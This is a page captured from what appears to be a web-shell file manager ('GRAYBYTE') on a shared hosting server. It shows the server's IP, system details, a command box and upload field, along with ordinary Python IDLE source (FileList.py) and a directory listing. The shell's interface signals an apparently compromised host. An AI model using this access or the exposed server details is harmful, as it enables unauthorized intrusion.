GRAYBYTE WORDPRESS FILE MANAGER5796

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python33/lib64/python3.3/idlelib/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python33/lib64/python3.3/idlelib//FileList.py
import os
from tkinter import *
import tkinter.messagebox as tkMessageBox


class FileList:

    # N.B. this import overridden in PyShellFileList.
    from idlelib.EditorWindow import EditorWindow

    def __init__(self, root):
        self.root = root
        self.dict = {}
        self.inversedict = {}
        self.vars = {} # For EditorWindow.getrawvar (shared Tcl variables)

    def open(self, filename, action=None):
        assert filename
        filename = self.canonize(filename)
        if os.path.isdir(filename):
            # This can happen when bad filename is passed on command line:
            tkMessageBox.showerror(
                "File Error",
                "%r is a directory." % (filename,),
                master=self.root)
            return None
        key = os.path.normcase(filename)
        if key in self.dict:
            edit = self.dict[key]
            edit.top.wakeup()
            return edit
        if action:
            # Don't create window, perform 'action', e.g. open in same window
            return action(filename)
        else:
            edit = self.EditorWindow(self, filename, key)
            if edit.good_load:
                return edit
            else:
                edit._close()
                return None

    def gotofileline(self, filename, lineno=None):
        edit = self.open(filename)
        if edit is not None and lineno is not None:
            edit.gotoline(lineno)

    def new(self, filename=None):
        return self.EditorWindow(self, filename)

    def close_all_callback(self, *args, **kwds):
        for edit in list(self.inversedict):
            reply = edit.close()
            if reply == "cancel":
                break
        return "break"

    def unregister_maybe_terminate(self, edit):
        try:
            key = self.inversedict[edit]
        except KeyError:
            print("Don't know this EditorWindow object.  (close)")
            return
        if key:
            del self.dict[key]
        del self.inversedict[edit]
        if not self.inversedict:
            self.root.quit()

    def filename_changed_edit(self, edit):
        edit.saved_change_hook()
        try:
            key = self.inversedict[edit]
        except KeyError:
            print("Don't know this EditorWindow object.  (rename)")
            return
        filename = edit.io.filename
        if not filename:
            if key:
                del self.dict[key]
            self.inversedict[edit] = None
            return
        filename = self.canonize(filename)
        newkey = os.path.normcase(filename)
        if newkey == key:
            return
        if newkey in self.dict:
            conflict = self.dict[newkey]
            self.inversedict[conflict] = None
            tkMessageBox.showerror(
                "Name Conflict",
                "You now have multiple edit windows open for %r" % (filename,),
                master=self.root)
        self.dict[newkey] = edit
        self.inversedict[edit] = newkey
        if key:
            try:
                del self.dict[key]
            except KeyError:
                pass

    def canonize(self, filename):
        if not os.path.isabs(filename):
            try:
                pwd = os.getcwd()
            except os.error:
                pass
            else:
                filename = os.path.join(pwd, filename)
        return os.path.normpath(filename)


def _test():
    from idlelib.EditorWindow import fixwordbreaks
    import sys
    root = Tk()
    fixwordbreaks(root)
    root.withdraw()
    flist = FileList(root)
    if sys.argv[1:]:
        for filename in sys.argv[1:]:
            flist.open(filename)
    else:
        flist.new()
    if flist.inversedict:
        root.mainloop()

if __name__ == '__main__':
    _test()

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2024 08:31:19
root / linksafe
0755
Icons
--
May 20 2024 08:31:19
root / linksafe
0755
__pycache__
--
May 20 2024 08:31:19
root / linksafe
0755
idle_test
--
May 20 2024 08:31:19
root / linksafe
0755
AutoComplete.py
8.869 KB
April 17 2024 16:58:17
root / linksafe
0644
AutoCompleteWindow.py
17.258 KB
April 17 2024 16:58:17
root / linksafe
0644
AutoExpand.py
2.425 KB
April 17 2024 16:58:17
root / linksafe
0644
Bindings.py
3.354 KB
April 17 2024 16:58:17
root / linksafe
0644
CREDITS.txt
1.821 KB
September 19 2017 07:32:02
root / linksafe
0644
CallTipWindow.py
5.761 KB
April 17 2024 16:58:17
root / linksafe
0644
CallTips.py
5.793 KB
April 17 2024 16:58:17
root / linksafe
0644
ChangeLog
55.071 KB
September 19 2017 07:32:02
root / linksafe
0644
ClassBrowser.py
6.222 KB
April 17 2024 16:58:17
root / linksafe
0644
CodeContext.py
8.157 KB
April 17 2024 16:58:17
root / linksafe
0644
ColorDelegator.py
10.222 KB
April 17 2024 16:58:17
root / linksafe
0644
Debugger.py
15.983 KB
April 17 2024 16:58:17
root / linksafe
0644
Delegator.py
0.649 KB
April 17 2024 16:58:17
root / linksafe
0644
EditorWindow.py
64.753 KB
April 17 2024 16:58:17
root / linksafe
0644
FileList.py
3.725 KB
April 17 2024 16:58:17
root / linksafe
0644
FormatParagraph.py
6.998 KB
April 17 2024 16:58:17
root / linksafe
0644
GrepDialog.py
4.015 KB
April 17 2024 16:58:17
root / linksafe
0644
HISTORY.txt
10.075 KB
September 19 2017 07:32:02
root / linksafe
0644
HyperParser.py
10.314 KB
April 17 2024 16:58:17
root / linksafe
0644
IOBinding.py
19.396 KB
April 17 2024 16:58:17
root / linksafe
0644
IdleHistory.py
4.021 KB
April 17 2024 16:58:17
root / linksafe
0644
MultiCall.py
17.118 KB
April 17 2024 16:58:17
root / linksafe
0644
MultiStatusBar.py
0.765 KB
April 17 2024 16:58:17
root / linksafe
0644
NEWS.txt
33.61 KB
September 19 2017 07:32:02
root / linksafe
0644
ObjectBrowser.py
3.661 KB
April 17 2024 16:58:17
root / linksafe
0644
OutputWindow.py
4.291 KB
April 17 2024 16:58:17
root / linksafe
0644
ParenMatch.py
6.472 KB
April 17 2024 16:58:17
root / linksafe
0644
PathBrowser.py
2.811 KB
April 17 2024 16:58:17
root / linksafe
0644
Percolator.py
2.596 KB
April 17 2024 16:58:17
root / linksafe
0644
PyParse.py
18.959 KB
April 17 2024 16:58:17
root / linksafe
0644
PyShell.py
56.521 KB
April 17 2024 16:58:17
root / linksafe
0755
README.txt
2.443 KB
September 19 2017 07:32:02
root / linksafe
0644
RemoteDebugger.py
11.747 KB
April 17 2024 16:58:17
root / linksafe
0644
RemoteObjectBrowser.py
0.941 KB
April 17 2024 16:58:17
root / linksafe
0644
ReplaceDialog.py
5.692 KB
April 17 2024 16:58:17
root / linksafe
0644
RstripExtension.py
1.025 KB
April 17 2024 16:58:17
root / linksafe
0644
ScriptBinding.py
7.88 KB
April 17 2024 16:58:17
root / linksafe
0644
ScrolledList.py
3.903 KB
April 17 2024 16:58:17
root / linksafe
0644
SearchDialog.py
1.969 KB
April 17 2024 16:58:17
root / linksafe
0644
SearchDialogBase.py
5.063 KB
April 17 2024 16:58:17
root / linksafe
0644
SearchEngine.py
7.367 KB
April 17 2024 16:58:17
root / linksafe
0644
StackViewer.py
3.483 KB
April 17 2024 16:58:17
root / linksafe
0644
TODO.txt
8.279 KB
September 19 2017 07:32:02
root / linksafe
0644
ToolTip.py
2.672 KB
April 17 2024 16:58:17
root / linksafe
0644
TreeWidget.py
14.863 KB
April 17 2024 16:58:17
root / linksafe
0644
UndoDelegator.py
10.063 KB
April 17 2024 16:58:17
root / linksafe
0644
WidgetRedirector.py
4.372 KB
April 17 2024 16:58:17
root / linksafe
0644
WindowList.py
2.414 KB
April 17 2024 16:58:17
root / linksafe
0644
ZoomHeight.py
1.276 KB
April 17 2024 16:58:17
root / linksafe
0644
__init__.py
0.036 KB
April 17 2024 16:58:17
root / linksafe
0644
__main__.py
0.106 KB
April 17 2024 16:58:17
root / linksafe
0644
aboutDialog.py
6.421 KB
April 17 2024 16:58:17
root / linksafe
0644
config-extensions.def
2.723 KB
September 19 2017 07:32:02
root / linksafe
0644
config-highlight.def
1.699 KB
September 19 2017 07:32:02
root / linksafe
0644
config-keys.def
7.348 KB
September 19 2017 07:32:02
root / linksafe
0644
config-main.def
2.455 KB
September 19 2017 07:32:02
root / linksafe
0644
configDialog.py
51.611 KB
April 17 2024 16:58:17
root / linksafe
0644
configHandler.py
28.636 KB
April 17 2024 16:58:17
root / linksafe
0644
configHelpSourceEdit.py
6.567 KB
April 17 2024 16:58:17
root / linksafe
0644
configSectionNameDialog.py
4.213 KB
April 17 2024 16:58:17
root / linksafe
0644
dynOptionMenuWidget.py
1.277 KB
April 17 2024 16:58:17
root / linksafe
0644
extend.txt
3.557 KB
September 19 2017 07:32:02
root / linksafe
0644
help.txt
11.713 KB
September 19 2017 07:32:02
root / linksafe
0644
idle.py
0.391 KB
April 17 2024 16:58:17
root / linksafe
0644
idle.pyw
0.655 KB
September 19 2017 07:32:02
root / linksafe
0644
idlever.py
0.022 KB
April 17 2024 16:58:17
root / linksafe
0644
keybindingDialog.py
12.136 KB
April 17 2024 16:58:17
root / linksafe
0644
macosxSupport.py
7.004 KB
April 17 2024 16:58:17
root / linksafe
0644
rpc.py
20.462 KB
April 17 2024 16:58:17
root / linksafe
0644
run.py
13.373 KB
April 17 2024 16:58:17
root / linksafe
0644
tabbedpages.py
17.741 KB
April 17 2024 16:58:17
root / linksafe
0644
textView.py
3.462 KB
April 17 2024 16:58:17
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF